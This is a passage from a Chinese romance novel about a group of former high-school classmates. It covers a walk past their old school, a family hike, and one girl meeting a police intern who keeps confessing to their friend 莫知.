乔漾打开免提,把手机放到桌子上:“你还在学校吗?准备什么时候回国呀?”
“我在地中海呢。”
乔漾歪头疑惑:“你怎么又跑去地中海了?”
“玩呗。”
“一个人吗?”
“还有我哥他们。”
“哦哦,那你玩得开心。”
“那三个男的呢?”麦初说,“出个声啊。”
莫知率先开口:“你好。”
陈天衢跟着说:“我们都想你了。”
杭以安直接唱了起来:“常回家看看,回家看看~”
麦初在那头哈哈大笑:“知道了知道了。”
通话挂断前乔漾朝手机响亮地“mua”了一声,陈天衢看她两边脸颊红扑扑的,用手背蹭了蹭她的脸问:“醉啦?”
“没有。”乔漾抓着他的手腕没让他收回去,他手凉,贴在脸上舒服。
他们四个吃到近八点才散伙,杭以安家就在附近,莫知开了车来的,走到门口他摸出车钥匙套在手指上,问另外两个人说:“要我送不?”
乔漾摇摇头:“我俩散会儿步再回去。”
“行。”莫知推开玻璃门,“我就多余问。”
大概是陆州的夏把她的耐热能力提高了,一出来乔漾还觉得空气挺凉爽。
元帅府离星河湾有三四公里,她和陈天衢朝着一中的方向走,就当饭后消食,走到哪儿算哪儿。
“手。”陈天衢朝她摊开掌心。
以为他是要来牵自己,乔漾把手递过去,却被他捏住指尖轻轻往前拽了下。
旅游带回来的礼物刚刚就给莫知和杭以安了,只有她那份还没收到。
陈天衢低着头系好搭扣,说:“好了。”
乔漾抬高手腕,用珍珠和碎银串起的手链在月色下泛着光泽,她一眼就喜欢上了。
“眼光不错嘛小陈同学。”
陈天衢扬起嘴角,顺势牵住她的手。
路灯昏黄,马路上空荡无人,这座城市的夜晚总是这般宁静。
有夜风吹来,乔漾仰起脸去迎,舒服得叹了声气。
“怎么还亮着灯啊?”
陈天衢顺着乔漾的视线抬头看过去,教学楼灯火通明,还是那副熟悉的样子。
“高二的在上晚自习吧。”他说。
“啊?”乔漾问,“不是放暑假了吗?”
“好像现在他们暑假也得上一个月,八月份才正式放假。”陈天衢笑了笑,“你没听杭以安说吗,现在初中生都要上晚自习了。”
“真的啊?”乔漾幸灾乐祸之余又感到一丝后怕,“还好姐姐我毕业得早啊。”
道路两旁树木林立,到了深秋整条街都是金灿灿的银杏叶。
如果不是那时上学的心情太沉重压抑,这条路还是很漂亮的。
高中毕业后有时也会路过这条马路,但还是第一次这样悠闲地沿路而行。
乔漾看着脚下一高一低亲密依偎在一起的影子,觉得此刻奇妙。
“你说…….”
嘀嘀——
她话刚开口就被喇叭声打断,一辆粉色电瓶车停在了他们身后。
“我就说看着像你们两个,在这干嘛呢?”
乔漾转身回头,猛抽一口气,两只眼睛瞪得圆圆的:“格!”
陈天衢一把捂住她的嘴,勾着乔漾的脖子把人往自己怀里带,同时扬声高喊:“胡老师!”
“诶。”胡亮看着他俩,点点头,哼哼笑了声。
“高中谈的还是大学谈的啊?”
陈天衢回答说:“大学。”
看胡亮笑而不语,他又慌忙补了句:“真的是大学。”
“好好好,挺好的。”
“老师你刚下班啊?”乔漾笑嘻嘻地问他。
“对啊。”胡亮朝教学楼抬了下头,“一群蠢材,把我气死了,还是你们班好。”
这话把乔漾听爽了,拍拍自己胸脯说:“是吧,还是我们聪明吧。”
“走了,我回家了。”胡亮重新启动车子,还不忘打趣了句,“结婚记得叫我啊。”
乔漾站在原地一路目送他离开,举高手臂在空中挥舞:“一定一定!老师再见!”
陈天衢压根控制不住她,失笑道:“你真醉了啊?”
“没有啦。”乔漾挽住他的胳膊,整个人都懒懒唧唧地挨了上去。
“陈天衢。”
“嗯?”
她转身看向不远处的教学楼,启唇说:“我突然有一个很疯狂的想法。”
“想考研了?”
“不是啦!”乔漾板下脸不满道,“你怎么跟我爸一样?”
“那是什么?”问完陈天衢心一提,难道是想结婚了?
“我想回去上高中了。”乔漾站在校门外,看向自己曾经最想逃离的地方,喃喃道,“我一定是疯了。”
陈天衢从背后抱住她,轻声开口:“我早就想了。”
下课铃声响起,教学楼里很快变得一片哄闹。
乔漾和陈天衢仰头看着那群十七八岁的少年,不约而同想起了许多东西,那里头有青涩稚嫩的自己,有对方,有还在身边的好朋友和渐渐失去联系的普通同学。
“还真应了那句话。”乔漾说。
——人不能同时拥有青春和对青春的感受。
江南小城四季分明,暑假一结束天气就明显凉快了起来。
门铃声响起时乔漾正在编头发,她一边喊“来了”,一边走到门口用胳膊肘摁下门把手。
杭以安和莫知从门缝里钻了进来,一个怀里抱着快递箱,另一个举起手里的打包袋问她说:“你家有菜吗?我带了卤牛肉和盐水鸭。”
“你冰箱里看看,要是不够就去小区门口买点。”乔漾用发圈将发尾扎紧。
“OK。”杭以安看她穿戴整齐,问,“你要出门啊?”
“帮领导送个东西,等会就回来。”乔漾走到门口换鞋,瞥了眼莫知怀里的东西问,“什么啊?这么大一个。”
“游戏机。”
乔漾咧开嘴角:“送我的?”
“那不是。”莫知小心翼翼地把纸箱放到茶几上,“只是放在你家玩。”
乔漾嘁了一声,拿上钥匙喊:“我走了啊,给我好好看家。”
莫知打开客厅的电视机调试设备,杭以安进了厨房,回应她说:“行,等你回来吃饭。”
他们仨住得近,生活节奏也差不多,基本三天两头就凑在一起。
陈天衢有时候打开群聊消息全是他们三个人在说话,要么就是“今天下班去哪
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儿吃?”,要么就是“周末有什么安排?”。
他不带任何情感色彩提了个建议:你们要不自己建个小群呢?
麦初在底下附和:就是啊。
乔漾:不要。
莫知:嫌吵自己开免打扰。
杭以安:放心,我们不会搞小团体的。
说是不搞小团体,周六中午陈天衢坐在食堂里,点开聊天群就是他们仨的一张合照。
背景是晴天下的山林,乔漾站在中间,两只手托住自己的脸颊,还朝着镜头wink了下,特别元气特别可爱。
就是旁边俩家伙太碍眼了,陈天衢放平嘴角,这让他截都不好截。
屏幕上弹出视频通话申请,他点击接收,用水杯抵住手机。
“在吃饭呢?”
“嗯。”陈天衢问她,“你们去爬山了啊?”
“对呀。”乔漾切换镜头,“叔叔阿姨带我们来的。”
陈天衢夹菜的动作一顿,拿起手机举到眼前。
前面那对手挽着手的夫妇太眼熟了,他上扬语调确认:“你们仨,跟我爸妈?”
“对啊,哈哈哈。”
十月已正式入秋,山野在阳光的渲染下金黄灿烂。
乔漾把镜头切回自己脸上,告诉他说:“今天天气可好了,不冷不热的。”
陈天衢“嗯”了声,问她:“那俩货呢?”
“跑前面去买烤肠了。”乔漾举着手机努力找到一个屏幕不反光的角度,“你呢?今天准备干什么?”
“等会去图书馆,有篇作业得下周一前交。”
“那下个礼拜回来吗?”乔漾撅起嘴,委屈巴巴道,“你快大半个月没回来了吧。”
“回。”陈天衢说,“再不回不行了,该得红眼病了。”
乔漾又笑得两眼弯弯,和他分享说:“你是该回来了,那天夏灿奶奶在小区门口看见我,问我男朋友到底是高个头的那个还是矮一点的那个,我都不知道该怎么回答。”
陈天衢也笑了,怂恿她说:“你就说都是呗,还有一个在外面。”
“那不行,别把老太太吓死。”
原本是陈骏看这个周末秋高气爽,打算带上陈姝出门去周边的景区逛逛。
他上半年的体检结果不太好,公司让他从飞行前线退了下来,现在更多负责教学和培训工作,因此也多了很多空余时间陪陪妻子。
陈姝顺便问了乔漾愿不愿意一起去,那会儿她、杭以安和莫知又正好在一起吃夜宵,攒着攒着就成了个家庭出游日,——虽然亲儿子并不在。
乔漾体力有限,爬到一半就没力气了,陈姝也说走不动了,和她找了个小亭子坐着休息。
山间空气清新,乔漾趴在栏杆上,惬意地眯着眼。
没一会儿杭以安也过来了,往她旁边一坐,吭哧吭哧干了大半瓶水。
“他俩人呢?”陈姝问他。
“还在上面。”杭以安用胳膊拱了拱乔漾,“有没有吃的?”
乔漾摘下肩上的包递给他:“你自己找吧。”
陈姝说:“你们叔叔今天开心了,有人能陪他爬到顶了,陈天衢在肯定也是我们三个这样。”
“比不过他俩。”杭以安撕开面包的包装袋,“我看他们气都不喘,太可怕了。”
“你不也健身吗?”乔漾问。
“他增肌我减脂。”杭以安嚼着面包说,“能一样吗?”
乔漾笑了笑,趴回栏杆上继续听山间的各种声响。
有时候他们当爹的也挺奇怪的,上山的路上陈骏就夸了好几次莫知身体素质好,跟他们抱怨陈天衢不爱动、整天死气沉沉的,得催着哄着才肯跟他出门跑跑步,一点年轻小伙子的精气神都没有。
这话让乔漾心里稍稍平衡了些,看吧,她爸眼里的榜样模范生照样遭到自己亲爸的嫌弃。
“阿姨。”乔漾扭头看向一旁的陈姝,问她,“为什么大人总是觉得别人家的小孩更好呢?”
陈姝认真想了想,回答她说:“也未必是觉得别人家的小孩更好,只是对自己的孩子总有期许,有期许就会不满足。”
15.新朋友
午饭也在山脚下吃的,这儿到处都是农家乐,他们挑了一家生意最好的。
老板娘来点菜的时候就悄摸着看了好几眼,那对中年人无疑是夫妻俩,但另外三个年轻人看着年纪相仿却又长相各异,让人一下子猜不出是什么关系。
点完菜她收走菜单,还是忍不住问了句:“你们家三个小孩哒?”
“对啊。”陈姝笑着说,“你看看哪个最像我。”
老板娘眼珠子一转,心想这多半是重组家庭,《家有儿女》谁还没看过呢,不就是一个女儿两个儿子。
她目光扫过桌上的三个年轻人,决定谁也不得罪,回答说:“都挺像的。”
乔漾憋不住了,捂着嘴差点笑出声。
野菜糍粑先端上来,莫知对这种甜口的东西兴趣不大,尝了一块就放下筷子了。
他捧着手机翻看朋友圈,许久未更新的麦初刚刚破天荒地发了一条动态。
【找合租室友,大别墅二楼次卧,附近设施齐全,交通便利,房内网络水电免费,有人做饭,可带猫狗,房东人好,有意者速速联系我】
莫知读完“呵”了一声,说:“这我都想去住了,什么地方啊这么好?”
乔漾抬起头:“什么?”
“麦初刚发的,找室友呢。”莫知眼睛往下瞥了眼,下头带的定位在什么伦敦south kensington,“她怎么又跑去英国了?”
“她申了那边的硕士。”乔漾将糍粑蘸上红糖浆,“你不知道啊?”
“没人告诉我啊。”莫知摁住按键截了张屏,点开许恩霖的聊天框把图片传了过去。
对方问他:这什么?
莫知:你房子找好了没啊?
许恩霖:找好了,中介帮我找了间studio,一个人住,离学校挺近的。
莫知:哦哦,麦初刚发的,她也在伦敦呢,我转你看看。
热菜接二连三上桌,陈姝喊他们说:“吃饭啦,孩子们。”
莫知把手机翻扣在桌上,拿起汤勺舀了碗油条豆花羹。
半个小时后他才看见许恩霖又发来了句:你确定她没在搞诈骗?
杭以安工作的初中是封闭式的,私立学校规矩也不少,他每周都得留校值班一次,最近还被抓去报名参加了全市教师教学技能大赛,基本一周七天连轴转。
陈天衢更不用说,乔漾看他每天那要死不活的样子更加坚定了绝对不考研的想法。
五个人里也就她和莫知的生活状态稍微稳定一些,基本每天到点就能下班。
馆里给每人发了一箱柿子,乔漾不爱吃这种软塌塌又脏手的水果,打算顺路拿给莫知。
彼时都没到五点,莫知看见她走进来一愣,问:“你下班了啊?”
“下午跟着出去做了个采访,结束了我就直接走了。”乔漾抬了下手里的柿子,“你车呢?放你后备箱?”
“你就放这吧,我等会分分掉,我家里也一堆呢,我妈拿回来的。”
“行。”乔漾放下纸箱,问他,“晚上空的吧?我抢到一张买一送一的电影票,正好你下班了我们去看。”
“啊?”莫知眉毛拧成八字,为难道,“可是我想回家打游戏,快赛季末了。”
“别打了,我们去看电影嘛。”乔漾软了语气求他说,“今天首映就结束了,再看要等下周了。”
莫知叹了声气,委婉拒绝说:“你要不再问问别人?”
“我能问谁啊?”乔漾掰着手指头一个一个数给他听,“陈天衢在赶论文,杭以安要备课,我姐在宁城,夏灿在上大五,麦初都不知道在世界哪个角落玩呢。”
莫知点了点头。
“我懂了。”
“懂什么?”
“你。”莫知伸出食指指着她,郑重其事道,“需要一个新闺蜜。”
乔漾眯了眯眼,对这话难以评价。
“祝欢。”
被叫到的女孩停下脚步偏头看过来:“叫我吗?”
“对。”莫知问她,“你今天晚上有空吗?”
“有啊。”
“太好了。”莫知欣然微笑,拍拍乔漾的肩对她说,“这姐要请你看电影。”
“我……”有外人在乔漾不好发作,只能扭过头,扬起嘴角朝对方“嗨”了一声。
女孩脸上的表情在莫知话音落下时就变得有些僵硬,眼底蒙了层显而易见的失落。
乔漾隐隐约约发觉了点什么,眨眨眼睛,保持住嘴角笑容。
“看哪部啊?”
“悬疑片,不知道你喜不喜欢。”
没等乔漾说出“没事,我可以退票的”,对方就点点头说:“可以。”
她只能把话统统咽回去:“好。”
莫知一看自己能全身而退了,把手背在身后,心情大好,还主动问:“在哪看啊?要我送你们去不?”
乔漾气鼓鼓地蹬了他一眼,祝欢说:“不用,我车在的。”
“行,那你俩好好玩。”莫知转身朝里走,“我换衣服下班了。”
剩下的两个女孩视线相碰,又都立刻挪向别处。
眼瞅着要冷场了,乔漾从纸箱里头拿了两颗柿子出来,问她:“你喜欢吃柿子吗?”
“不喜欢。”
“哦。”乔漾默默把手里的柿子又塞了回去。
“走吧。”祝欢抬了下手,“我车就在外面。”
“好的。”
到了车上乔漾才想起来两个人还没自我介绍,都怪莫知这货,突然间她就跟被塞了个相亲对象似的。
她手抚着胸口,主动开口说:“我叫乔漾,我跟莫知是高中同学。”
“祝欢,庆祝的祝,欢乐的欢。”祝欢扣紧安全带,仔细看了她一眼说,“我好像在他朋友圈看见过你。”
“是吗?”乔漾好久没打开朋友圈了,“他发我什么了?”
“就你们一起出去玩的照片。”
“哦,那应该是上次去爬山的时候。”说了会儿话乔漾觉得放松多了,她问祝欢,“你工作多久了呀?也是今年刚毕业的吗?”
“没有,我大四,现在在所里实习。”
乔漾“啊?”了一声,一脸惊奇地看着驾驶座上的人,女孩跟她差不多高,短发齐耳,长相英气,虽然年轻,但身上意外地看不出什么学生气。
“我也是警校的,莫知是我学长。”祝欢补充说。
乔漾心想,你哪像莫知的学妹啊,你像他领导。
“你跟他高中就是朋友?”
“对,我俩一个班的。”乔漾说,“还有我男朋友。”
祝欢握着方向盘,目光落在前方的马路上:“高中追他的人多吗?”
“那不。”乔漾话里带上笑意,“我们高中的时候都认真学习,不搞这些的。”
祝欢也笑了,轻声问:“那他为什么那么难追啊?”
她告诉乔漾:“我跟他表白三次都被拒绝了。”
落日的光晃过眼睛,傍晚的城市一片金灿灿。
乔漾抿紧双唇猛吸了一口气。
原来祝欢就是那个学妹。
她不想做没有边界感的人,但这是当事人先开的头,那就不能怪她八卦了。
“我可以问问你吗?”乔漾侧过身子,不解又好奇,“你喜欢莫知什么呀?”
祝欢浅浅笑着,反问她:“你是要跟我爆他的黑料吗?”
“没有没有,莫知很好的。”乔漾坦白说,“就是有点想不通,我
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看着觉得应该是他跟你表白三次才对啊。”
祝欢笑着问:“你这话是夸我还是骂我啊?”
“我当然是夸你了。”
“他是个热乎的人。”祝欢看着前方的道路,语调平和,目光沉静。
听到“热乎”两个字的一刻乔漾在心里用力点头,对,这词形容得太准确了。
“暖男”太土太过时,还有中央空调之嫌,要说他是“小太阳”,那也不对,莫知有时候欠嗖嗖的,没那么纯真无害。
他就是一个热乎又有趣的人,真诚善良,能量充沛,能让人感到快乐。
“那我可以再问问,他拒绝你的理由是什么吗?”
祝欢还是微微笑着,启唇说:“第一次说我年纪太小,第二次说他没心思谈恋爱,上一次说的是‘我们不是一个世界的人’。”
“哇…….”乔漾撇撇嘴,“好烂的借口啊。”
“就是啊。”
“所以我不会放过他的。”祝欢说,“他等着吧。”
夕阳在天际缓慢坠落,女孩的轮廓边缘被光所模糊。
乔漾愣愣盯着她,一时间看失了神。
这样清冷的脸上出现这样明媚的笑竟然一点都不违和,字面意思是威胁,言外之意是真心。
乔漾默默收紧呼吸,莫知再不爱上,她都要沦陷了。
隔了几天再次在派出所看见乔漾,莫知没等她张嘴就说:“我今天没空啊,晚上要值班。”
“不找你,我找小祝。”
“你俩又看电影啊?”
“不看电影,约了她去吃火锅。”乔漾踮脚朝里张望,“她人呢?”
“调解室里,估计还要一会儿。”
“哦。”乔漾把胳膊搭在桌面上,嘴角挑起一抹笑,朝着莫知温柔喊,“莫知~”
“干嘛?”莫知敲打着键盘,没抬头。
乔漾压低声音问:“你为什么不喜欢人家啊?”
莫知撩起眼皮看了她一眼:“她让你来问的?”
“不是啊,我自己好奇。”
莫知摇了摇头,显然不太相信。
乔漾试探着问:“你总不是还喜欢麦初吧?”
“怎么可能?八百年前的事了,你以为人人都是陈天衢啊?”
“那为什么?”
莫知欲言又止,憋了半天憋出一句:“年龄太小了。”
“小什么啊?就差了一届,最多比你小个两岁吧。”乔漾又说,“而且她看着比我还成熟。”
莫知笑了声:“人家也很难不比你成熟。”
“滚啦。”
“她这个月底就实习结束回学校了。”莫知起身离开座位,用胳膊夹着文件夹,“她这会儿就是在劲头上,等以后见不到面了就忘了,不用管。”
“为什么见不到面了?”乔漾不明白,“人家毕业了也来所里呢?”
“不可能。”莫知语气笃定。
乔漾不以为然:“这有什么不可能的?”
莫知张了张嘴,但没解释,只是说:“真不是一路人,你别跟着她瞎闹。”
口袋里的手机震动发出响声,他拿到手里用拇指划开屏幕。
许恩霖在微信上问他:你上次跟我说谁找室友来着?
莫知走到打印机前,摁住语音条说:“麦初啊,我们班班长,你还记得吗?”
许恩霖:哦。
许恩霖:你要不帮我问问,她还在找吗?
莫知挑高眉峰,问他:怎么了?
许恩霖说:一言难尽。
莫知直接把麦初的微信推给了他。
想起他上次的回复,莫知又追加了句:小心被诈骗啊。
许恩霖:骗吧,也就剩个人了。